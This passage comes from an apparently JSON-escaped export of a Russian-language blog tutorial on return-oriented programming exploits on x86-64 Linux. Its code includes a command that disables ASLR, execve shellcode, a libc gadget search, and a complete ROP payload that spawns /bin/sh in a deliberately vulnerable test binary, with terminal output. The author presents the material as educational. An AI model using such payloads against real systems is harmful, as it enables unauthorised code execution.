\u043a\u0430\u043a\u043e\u0439 \u2014 \u043b\u0438\u0431\u043e \u043a\u043e\u0434. \u041e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0432\u043e\u043f\u0440\u043e\u0441 \u2014 \u043a\u0443\u0434\u0430 \u043f\u0440\u044b\u0433\u0430\u0442\u044c \u0438 \u043e\u0442\u043a\u0443\u0434\u0430 \u0442\u0430\u043c \u0432\u0437\u044f\u0442\u044c\u0441\u044f \u043d\u0443\u0436\u043d\u043e\u043c\u0443 \u0445\u0430\u043a\u0435\u0440\u0443 \u043a\u043e\u0434\u0443? \u041d\u0430 \u0441\u0442\u0435\u043a \u043a\u043e\u0434 \u0437\u0430\u043a\u0438\u043d\u0443\u0442\u044c \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u0441\u044f, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0441\u0442\u0435\u043a \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439. \u042d\u0442\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u0442\u0430\u0431\u043b\u0438\u0446 \u0441\u0442\u0440\u0430\u043d\u0438\u0446, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0444\u043e\u0440\u043c\u0438\u0440\u0443\u044e\u0442 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0430\u0434\u0440\u0435\u0441\u043d\u043e\u0435 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430, \u0438\u043d\u044b\u043c\u0438 \u0441\u043b\u043e\u0432\u0430\u043c\u0438 \u0432 page table entry \u043d\u0435\u0442 \u0444\u043b\u0430\u0433\u0430 \u00abX\u00bb (executable). \u041c\u043e\u0436\u043d\u043e \u043f\u0440\u044b\u0433\u0430\u0442\u044c \u043d\u0430 \u0437\u0430\u043c\u0430\u043f\u043b\u0435\u043d\u043d\u044b\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438, \u0432\u0435\u0440\u043d\u0435\u0435 \u043d\u0430 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043a\u0443\u0441\u043a\u0438 \u043a\u043e\u0434\u0430 \u0438\u0437 \u044d\u0442\u0438\u0445 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a. \u041d\u0430 \u044d\u0442\u043e\u043c \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0435 \u0438 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043e return oriented programming. \u0427\u0442\u043e\u0431\u044b \u043d\u0435\u043b\u044c\u0437\u044f \u0431\u044b\u043b\u043e \u0437\u0430\u0440\u0430\u043d\u0435\u0435 \u0443\u0433\u0430\u0434\u0430\u0442\u044c \u0430\u0434\u0440\u0435\u0441, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u0430\u043f\u0438\u0442\u0441\u044f \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430, \u0430, \u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u0438 \u0430\u0434\u0440\u0435\u0441 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043a\u0443\u0441\u043e\u0447\u043a\u0430 \u043a\u043e\u0434\u0430 \u0438\u0437 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438, \u043f\u0440\u0438 \u0441\u0442\u0430\u0440\u0442\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u0432 \u0430\u0434\u0440\u0435\u0441\u043d\u043e\u043c \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0440\u0430\u043d\u0434\u043e\u043c\u0438\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f. \u042d\u0442\u043e \u0444\u0438\u0447\u0430 \u044f\u0434\u0440\u0430 Linux, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 proc.   <\/p>\n<pre><code class=\"bash\">echo 0 &gt; \/proc\/sys\/kernel\/randomize_va_space <\/code><\/pre>\n<p>\u0414\u043b\u044f \u0443\u043f\u0440\u043e\u0449\u0435\u043d\u0438\u044f \u0435\u0451 \u0442\u043e\u0436\u0435 \u043f\u0440\u0438\u0434\u0435\u0442\u0441\u044f \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c.<\/p>\n<p>  <b>Exec \/bin\/sh<\/b><br \/>  \u041d\u0443 \u0447\u0442\u043e \u0436\u0435, \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u0441\u043e\u0431\u0440\u0430\u043d\u043e \u0431\u0435\u0437 \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0441\u0442\u0435\u043a\u0430, ASLR \u0432\u044b\u043a\u043b\u044e\u0447\u0435\u043d\u0430. \u0422\u0435\u043f\u0435\u0440\u044c, \u0434\u043b\u044f \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u2014 \u0436\u0435\u0440\u0442\u0432\u0443 \u0432\u044b\u0437\u0432\u0430\u0442\u044c \/bin\/sh \u0432\u043c\u0435\u0441\u0442\u043e \u0441\u0435\u0431\u044f. \u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u0430\u043a \u043a\u043e\u0434 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c:  <\/p>\n<pre><code class=\"bash\">section .text \tglobal _start _start:                 \tmov rax, 0x3b              \tmov rdi, cmd              \tmov rsi, 0 \tmov rdx, 0 \tsyscall  section .data \tcmd: db '\/bin\/sh' .end: <\/code><\/pre>\n<p>  \u0417\u0434\u0435\u0441\u044c \u0432\u0441\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u2014 \u043d\u0430 x86-64 \u043a\u043e\u0434 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0432\u044b\u0437\u043e\u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044e syscall. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0432 %rax \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u043e\u043c\u0435\u0441\u0442\u0438\u0442\u044c \u043d\u043e\u043c\u0435\u0440 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e \u0432\u044b\u0437\u043e\u0432\u0430 (0x3b), \u0432 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u044b %rdi, %rsi, %rdx\u2026 \u043f\u043e\u043c\u0435\u0449\u0430\u044e\u0442\u0441\u044f \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b. \u0415\u0441\u043b\u0438 \u0437\u0430\u0431\u044b\u043b\u0438 \u043a\u0430\u043a \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0441\u043f\u0438\u0441\u043e\u043a \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u0432 execve \u043c\u043e\u0436\u0435\u0442\u0435 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c <a href=\"http:\/\/man7.org\/linux\/man-pages\/man2\/execve.2.html\">\u0442\u0443\u0442<\/a><br \/>  \u041f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435, \u0447\u0442\u043e shell \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f:  <\/p>\n<pre><code class=\"bash\">nasm -f elf64 exec1.S -o exec.o ld -o exec exec.o  .\/exec <\/code><\/pre>\n<p>  <b>\u0413\u0430\u0434\u0436\u0435\u0442\u044b<\/b><br \/>  \u0412\u043e\u043e\u0431\u0449\u0435 \u0433\u043e\u0432\u043e\u0440\u044f, \u0433\u0430\u0434\u0436\u0435\u0442 \u2014 \u044d\u0442\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u043a\u0443\u0441\u043e\u043a \u043a\u043e\u0434\u0430 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u0438\u043b\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f. \u0418\u0441\u043a\u0430\u0442\u044c \u0433\u0430\u0434\u0436\u0435\u0442\u044b \u0434\u043b\u044f \u043d\u0430\u0448\u0435\u0433\u043e \u0431\u0443\u0434\u0443\u0449\u0435\u0433\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430 \u043c\u044b \u0431\u0443\u0434\u0435\u043c \u0432 libc. \u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0432 \u043a\u0430\u043a\u043e\u0439 \u0430\u0434\u0440\u0435\u0441 \u043c\u0430\u043f\u0438\u0442\u0441\u044f \u043a\u043e\u0434 \u0441\u0435\u043a\u0446\u0438\u044f libc. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043c\u043e\u0436\u043d\u043e, \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 main \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 gdb \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c:  <\/p>\n<pre><code class=\"bash\">cat \/proc\/`pidof main`\/maps | grep libc | grep r-xp <\/code><\/pre>\n<p>  \u0417\u0434\u0435\u0441\u044c \u043d\u0430\u043c \u0432\u0430\u0436\u0435\u043d \u0444\u043b\u0430\u0433 \u00abX\u00bb \u0432 \u043c\u0430\u043f\u043f\u0438\u043d\u0433\u0435, \u043f\u043e \u043d\u0435\u043c\u0443 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u044d\u0442\u043e \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u0430\u044f \u0441\u0435\u043a\u0446\u0438\u044f.  <\/p>\n<pre><code class=\"bash\">7ffff7a14000-7ffff7bcf000 r-xp 00000000 08:01 466797                     \/lib\/x86_64-linux-gnu\/libc-2.19.so <\/code><\/pre>\n<p>  \u0418\u0434\u0435\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0431\u0443\u0434\u0443\u0449\u0435\u0433\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430 \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u043e \u043d\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c \u0440\u0438\u0441\u0443\u043d\u043a\u0435:<br \/>  <img decoding=\"async\" src=\"\/\/habrastorage.org\/files\/e56\/d25\/76f\/e56d2576f50f455b9482791a0725ec83.jpeg\"\/><br \/>  \u041c\u044b \u043d\u0430\u0447\u043d\u0435\u043c \u0441 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u043f\u043e\u043b\u043e\u0436\u0438\u043c \u043d\u0430 \u0441\u0442\u0435\u043a \u0432\u043c\u0435\u0441\u0442\u043e \u0430\u0434\u0440\u0435\u0441\u0430 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 addr1, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u0443\u0434\u0435\u0442 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u043d\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u0433\u0430\u0434\u0436\u0435\u0442 \u0438\u0437 \u043a\u043e\u0434\u0430 libc. \u041f\u0435\u0440\u0432\u044b\u0439 \u0433\u0430\u0434\u0436\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442 pop %rax, \u043f\u043e\u043c\u0435\u0441\u0442\u0438\u0432 \u0432 \u0440\u0435\u0433\u0438\u0441\u0442\u0440 %rax \u043f\u0440\u0438\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u0435 \u043d\u0430\u043c\u0438 \u043d\u0430 \u0441\u0442\u0435\u043a\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 0x3b, \u0434\u0430\u043b\u0435\u0435 ret \u0432\u043e\u0437\u044c\u043c\u0435\u0442 \u0441\u043e \u0441\u0442\u0435\u043a\u0430 \u0430\u0434\u0440\u0435\u0441 addr2 \u0438 \u043f\u0440\u044b\u0433\u043d\u0435\u0442 \u043d\u0430 \u043d\u0435\u0433\u043e. \u0427\u0442\u043e \u043a\u0430\u0441\u0430\u0435\u0442\u0441\u044f 0x601000 \u2014 \u044d\u0442\u043e \u0430\u0434\u0440\u0435\u0441 \u043d\u0430\u0447\u0430\u043b\u0430 rw \u043e\u0431\u043b\u0430\u0441\u0442\u0438 (data \u0441\u0435\u043a\u0446\u0438\u044f) \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 .\/main:  <\/p>\n<pre><code class=\"bash\">00400000-00401000 r-xp 00000000 08:01 527064                             \/home\/alexhoppus\/Desktop\/rop_tutorial\/main 00600000-00601000 r--p 00000000 08:01 527064                             \/home\/alexhoppus\/Desktop\/rop_tutorial\/main 00601000-00602000 rw-p 00001000 08:01 527064                             \/home\/alexhoppus\/Desktop\/rop_tutorial\/main <\/code><\/pre>\n<p>  \u041c\u044b \u0432\u044b\u0431\u0435\u0440\u0435\u043c \u044d\u0442\u043e\u0442 \u0430\u0434\u0440\u0435\u0441 \u0434\u043b\u044f \u0442\u043e\u0433\u043e, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043c\u0435\u0441\u0442\u0438\u0442\u044c \u043f\u043e \u043d\u0435\u043c\u0443 \u0441\u0442\u0440\u043e\u043a\u0443 &quot;\/bin\/\/sh&quot;. \u0412 \u0440\u0435\u0433\u0438\u0441\u0442\u0440 %rdx \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u043c \u0441\u0430\u043c\u0443 \u0441\u0442\u0440\u043e\u043a\u0443, \u0430 \u0432 %rdi \u0435\u0451 \u0430\u0434\u0440\u0435\u0441. <\/p>\n<pre><code class=\"bash\">mov qword [rdi], rdx <\/code><\/pre>\n<p> \u043f\u043e\u043c\u0435\u0449\u0430\u0435\u0442 &quot;\/bin\/\/sh&quot; \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 0x601000. \u041e\u0441\u043d\u043e\u0432\u043d\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430 \u0441\u0434\u0435\u043b\u0430\u043d\u0430 \u2014 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0439 \u043a\u043e\u0434 \u043e\u0431\u043d\u0443\u043b\u044f\u0435\u0442 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u043e\u0432 %rsi \u0438 %rdx (2 \u0438 3 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b execve) \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 syscall. \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u043c\u044b \u0432 7 return&#8217;\u043e\u0432 exec\u043d\u0443\u043b\u0438 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043f\u043e\u0434\u043e\u0437\u0440\u0435\u0432\u0430\u044e\u0449\u0438\u0439 main \u0438 \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u043b\u0438 \u0435\u0433\u043e \u0432 \/bin\/sh.<\/p>\n<p>  <b>\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u0433\u0430\u0434\u0436\u0435\u0442\u044b<\/b><br \/>  \u041d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0443\u0442\u0438\u043b\u0438\u0442, \u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u044e\u0449\u0438\u0445 \u043a\u043e\u0434 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \/ \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0438 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0445 \u0432\u0430\u043c \u043d\u0430\u0431\u043e\u0440 \u0433\u043e\u0442\u043e\u0432\u044b\u0445 \u0433\u0430\u0434\u0436\u0435\u0442\u043e\u0432 \u0441 \u0430\u0434\u0440\u0435\u0441\u0430\u043c\u0438. \u0412 \u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u0433\u0430\u0434\u0436\u0435\u0442\u043e\u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c <a href=\"https:\/\/github.com\/0vercl0k\/rp\">\u044d\u0442\u0430 \u0443\u0442\u0438\u043b\u0438\u0442\u0430<\/a>. \u041f\u0440\u0438\u043c\u0435\u0440 \u0432\u044b\u0432\u043e\u0434\u0430 \u043f\u043e\u0438\u0441\u043a\u043e\u0432\u0438\u043a\u0430 \u0433\u0430\u0434\u0436\u0435\u0442\u043e\u0432:  <\/p>\n<pre><code class=\"bash\">.\/rp-lin-x64 -f \/lib\/x86_64-linux-gnu\/libc-2.19.so -r 2 | grep &quot;pop rax&quot; ... 0x0019d345: pop rax ; out dx, al ; jmp qword [rdx] ;  (1 found) 0x000fafb9: pop rax ; pop rdi ; call rax ;  (1 found) 0x000193b8: pop rax ; ret  ;  (1 found) 0x001a09c8: pop rax ; adc al, 0xF1 ; jmp qword [rax] ;  (1 found) ... <\/code><\/pre>\n<p>  \u0414\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0433\u0430\u0434\u0436\u0435\u0442\u043e\u0432 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u0440\u0438\u0431\u0430\u0432\u0438\u0442\u044c \u043a \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u043c \u0432 \u0432\u044b\u0432\u043e\u0434\u0435 \u0430\u0434\u0440\u0435\u0441\u0430\u043c \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u0435, \u0440\u0430\u0432\u043d\u043e\u0435 \u0430\u0434\u0440\u0435\u0441\u0443 \u043d\u0430\u0447\u0430\u043b\u0430 \u043c\u0430\u043f\u043f\u0438\u043d\u0433\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0439 \u0441\u0435\u043a\u0446\u0438\u044f libc (\u0441\u043c. \u0432\u044b\u0448\u0435) \u2014 0x7ffff7a14000.<\/p>\n<p>  <b>\u0418 \u0447\u0442\u043e \u0436\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0438\u0442\u043e\u0433\u0435?<\/b><br \/>  \u041f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0412\u044b \u043e\u0442\u044b\u0449\u0438\u0442\u0435 \u0432\u0441\u0435 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u0433\u0430\u0434\u0436\u0435\u0442\u044b, \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u0441\u044f \u0447\u0442\u043e-\u0442\u043e \u0432\u0440\u043e\u0434\u0435  <\/p>\n<pre><code class=\"bash\">python -c &quot;print 'a'*24+'\\xb8\\xd3\\xa2\\xf7\\xff\\x7f\\x00\\x00'+'\\x3b\\x00\\x00\\x00\\x00\\x00\\x00\\x00'+'\\x21\\x6a\\xa3\\xf7\\xff\\x7f\\x00\\x00'+'\\x00\\x10\\x60\\x00\\x00\\x00\\x00\\x00'+'\\x8e\\x5b\\xa1\\xf7\\xff\\x7f\\x00\\x00'+'\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x00'+'\\x27\\x3c\\xa3\\xf7\\xff\\x7f\\x00\\x00'+'\\x14\\xa1\\xb4\\xf7\\xff\\x7f\\x00\\x00'+'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'+'\\x8e\\x5b\\xa1\\xf7\\xff\\x7f\\x00\\x00'+'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'+'\\xd5\\x68\\xad\\xf7\\xff\\x7f\\x00\\x00'&quot; | .\/main <\/code><\/pre>\n<p>  \u041f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e strace, \u0447\u0442\u043e shell \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f. \u0415\u0441\u043b\u0438 \u0432\u0441\u0435 \u0441\u0434\u0435\u043b\u0430\u043d\u043e \u0432\u0435\u0440\u043d\u043e, \/bin\/sh \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u0441\u044f \u0438 \u0441\u0440\u0430\u0437\u0443 \u0436\u0435 \u0432\u044b\u0439\u0434\u0435\u0442, \u0442\u0430\u043a \u043a\u0430\u043a \u043d\u0430 stdin \u0443\u0436\u0435 \u043f\u0443\u0441\u0442\u043e. \u041f\u043e \u043f\u043e\u043d\u044f\u0442\u043d\u044b\u043c \u043f\u0440\u0438\u0447\u0438\u043d\u0430\u043c \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0442\u044c stdin \u044d\u0442\u043e\u0433\u043e \u0448\u0435\u043b\u0430 \u0441 \u043a\u043b\u0430\u0432\u0438\u0430\u0442\u0443\u0440\u043e\u0439 \u043d\u0438\u043a\u0442\u043e \u043d\u0435 \u0431\u0443\u0434\u0435\u0442, \u043d\u043e \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0445\u0430\u043a, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u043e\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u043e\u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430:  <\/p>\n<pre><code class=\"bash\">alexhoppus@hp:~\/Desktop\/rop_tutorial$ cat &lt;(python -c &quot;print 'a'*24+'\\xb8\\xd3\\xa2\\xf7\\xff\\x7f\\x00\\x00'+'\\x3b\\x00\\x00\\x00\\x00\\x00\\x00\\x00'+'\\x21\\x6a\\xa3\\xf7\\xff\\x7f\\x00\\x00'+'\\x00\\x10\\x60\\x00\\x00\\x00\\x00\\x00'+'\\x8e\\x5b\\xa1\\xf7\\xff\\x7f\\x00\\x00'+'\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x00'+'\\x27\\x3c\\xa3\\xf7\\xff\\x7f\\x00\\x00'+'\\x14\\xa1\\xb4\\xf7\\xff\\x7f\\x00\\x00'+'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'+'\\x8e\\x5b\\xa1\\xf7\\xff\\x7f\\x00\\x00'+'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'+'\\xd5\\x68\\xad\\xf7\\xff\\x7f\\x00\\x00'&quot;) - | .\/main aaaaaaaaaaaaaaaaaaaaaaaa\ufffd\u04e2\ufffd\ufffd ls Blank Flowchart - New Page (2).jpeg  article~  exec1.S\tinput\tmain.c\t    shell a.out\t\t\t\t     exec      hello\tinput2\trop.jpeg    stack.jpeg article <\/code><\/pre>\n<p>  \u041d\u0443 \u0432\u043e\u0442 \u0438 \u0432\u0441\u0451. \u041d\u0430\u0434\u0435\u044e\u0441\u044c \u0447\u0442\u043e \u0441\u0442\u0430\u0442\u044c\u044f \u0434\u0430\u0441\u0442 \u043f\u043e\u0447\u0432\u0443 \u0434\u043b\u044f \u0432\u0430\u0448\u0438\u0445 \u0431\u0443\u0434\u0443\u0449\u0438\u0445 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u043e\u0432 (\u043d\u0435 \u0432 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043f\u043b\u043e\u0441\u043a\u043e\u0441\u0442\u0438, \u0430 \u043d\u0430\u0443\u0447\u043d\u043e-\u043f\u043e\u0437\u043d\u0430\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439).     \t<\/p>\n<div class=\"clear\"><\/div>\n<p> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"http:\/\/habrahabr.ru\/post\/255519\/\"> http:\/\/habrahabr.ru\/post\/255519\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>     \t<b>\u0412\u0432\u0435\u0434\u0435\u043d\u0438\u0435<\/b><br \/>  \u0412 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043c\u044b \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f \u043a\u0430\u043a \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 Return Oriented \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442. \u0422\u0435\u043c\u0430, \u0432 \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0435, \u0442\u0430\u043a \u0441\u0435\u0431\u0435 \u0437\u0430\u0435\u0437\u0436\u0435\u043d\u043d\u0430\u044f, \u0438 \u0432 \u0438\u043d\u0435\u0442\u0435 \u0432\u0430\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u043c\u0430\u043b\u043e \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0439, \u043d\u043e \u044f \u043f\u043e\u0441\u0442\u0430\u0440\u0430\u044e\u0441\u044c \u043f\u0438\u0441\u0430\u0442\u044c \u0442\u0430\u043a, \u0447\u0442\u043e\u0431\u044b \u044d\u0442\u0430 \u0441\u0442\u0430\u0442\u044c\u044f \u043d\u0435 \u0431\u044b\u043b\u0430 \u0438\u0445 \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0435\u0439. \u041f\u043e \u0445\u043e\u0434\u0443 \u043d\u0430\u043c \u043f\u0440\u0438\u0434\u0435\u0442\u0441\u044f \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0442\u044c\u0441\u044f \u0441 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u043c\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u043c\u0438 